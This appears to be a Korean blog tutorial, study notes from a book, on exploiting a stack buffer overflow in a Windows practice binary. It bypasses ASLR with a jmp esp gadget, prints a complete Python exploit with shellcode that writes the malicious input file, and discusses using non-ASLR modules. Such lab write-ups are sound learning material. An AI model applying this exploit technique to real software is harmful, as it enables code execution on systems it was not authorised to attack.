본문 바로가기

IT/시스템 해킹(System Hacking)

[Windows System Hacking] Trampoline Techinque

[*] 해당 문서는 서적 [윈도우 시스템 해킹 가이드 - 버그헌팅과 익스플로잇]을 참고하여 작성하였습니다. 

 

Windows System Hacking 연구를 위해서 학습을 진행하며

여러가지 공격기법에 대하여 정리하려고 한다.

해당 문서는 Stack 기반의 Buffer Over Flow를 이용한 Return Address 변조에 관한 문서이다.

 

[실습 바이너리 & 익스플로잇 코드]

Trampoline Technique.zip
0.00MB

 


[ 실습 환경 ]

테스트 환경 : Windows 10 Pro 64bit

테스트 대상 : BufferOverFlow.exe[ASLR, Non DEP, Non StackGuard, Non safeSEH]

테스트 도구 : Immunity Debugger, IDA Pro 7.0

 

우선 테스트 환경은 Windows 10 Pro 64bit 버전 하에서 

보호기법(Mitigation) ASLR이 걸린 바이너리를 익스플로잇(Exploit) 해보려고한다.

테스트 도구로는 다음과 같이 Immunity Debugger을 이용하였다.

 

 

[ 바이너리 분석 ]

그림1. 바이너리 분석

 

해당 바이너리의 소스코드를 확인해본 결과

프로그램의 실행 인자로 파일 명을 입력받아 해당 파일을 읽은 후

해당 파일의 내용을 특정한 버퍼(f_Buf)에 저장한다.

다음과 같이 스택내의 존재하는 버퍼(s_Buf)의 사이즈는 0x1f4(500)바이트이지만

총 2000바이트를 검증없이 입력받기에 Return Address가 조작된다.

 

이를 토대로 총 504바이트(Buffer+SFP)를 입력 후 변조할 4바이트(RET) 입력 시 EIP가 변조될 것이다.



그림2. ASLR1

 

그림2. ASLR2

 

이전의 바이너리와 동일하지만 한가지 고려해야할 사항이 있다. 

해당 바이너리를 메모리의 로드시킬 경우의 스택(Stack)의 주소가 지속적으로 변경되어 

쉘코드(ShellCode)의 주소를 예상할 수 없다는 것이다.

 

이에 대한 우회기법(ByPass)로 두 가지를 제시할 수 있다.

 

1. Infomation Leak을 통한 스택의 주소 정보 확인

2. 특정 가젯(gadget)을 이용한 쉘코드로의 점프

 

첫 번째 제시한 방법의 경우, 리눅스(Linux)에서 많이 사용되는 방법이며 실제로 유용한 공격기법 중 하나이다. 

하지만 윈도우즈 시스템의 특성상 콘솔 기반의 프로그램보다는 GUI 기반의 프로그램이 많을 것이며 만약 주소정보가

출력이 되더라도 GUI 인터페이스 상에서 인코딩되어 출력이 되기에 특정 경우를 제외하고는

사용할 수 없는 경우가 많을 것으로 예상된다.

 

두 번째 제시한 방법의 경우는, jmp esp 가젯을 이용한 방법이며 해당 가젯이 위치한 주소가 고정되어 있다면

스택의 주소를 알지 못하는 경우더라도 쉘코드로 점프가 가능하다.

 

그림3. 메모리의 실행 권한 확인

 

먼저 다음과 같이 실행권한이 부여된 모듈의 주소를 잦아야 한다.

다음과 같이 몇가지 모듈이 확인되며 해당 부분에서 쉘코드로 점프하는 가젯(gadget) 역할을 하는 jmp esp를 찾는다.

 

그림4. jmp esp 가젯

 

주소 0x7738EEE7jmp esp 역할을 하는 가젯이 있는 것으로 확인된다.

 

해당 주소를 Return Address에 로드하면 esp가 있는 곳으로 점프할 것이고 쉘코드를 실행할 것이다.

 

[ 바이너리 공격 ]

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import struct
 
print("[+] Creat text file")
 
SHELLCODE  = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x41\x45"
SHELLCODE += "\x21\x01\x68\x47\x41\x45\x47\x68\x20\x47\x41\x45\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
 
print("Shellcode Length :" + str(len(SHELLCODE)))
 
DUMMY = "A" * 504
JMP_ESP = struct.pack('<L',0x7738EEE7)
contents = DUMMY + JMP_ESP + SHELLCODE
 
= open("test.txt","w")
f.write(contents)
 
f.close()
 
 
 

 

 

그림5. 익스플로잇

 


[ 한계점 ]

해당 바이너리에는 보호기법(Mitigation)으로 ASLR만 적용되어 있다.

하지만 위의 기법 또한 완전한 방법은 아니다.

 

그림6. 모듈 정보

 

다음을 확인해보면 해당 모듈에는 ASLR이 적용되어 있다. 

결국 컴퓨터를 재부팅하게 된다면 코드 주소가 변경된다는 이야기이다.

하지만 모듈 정보를 살펴보면 ASLR이 적용되지 않은 MSVCR100.dll이 로딩되는 것을 확인할 수 있다.

익스플로잇(Exploit) 성공률을 높이기 위해서는 다음과 같은 모듈을 사용하면 된다.

 

해당 모듈에 jmp esp가 존재하지 않는다고 하더라도 머리를 충분히 이용한다면

push esp; ret; 과 같은 가젯을 이용하면 된다.

 

더 나은 방법을 각자 고민해보자.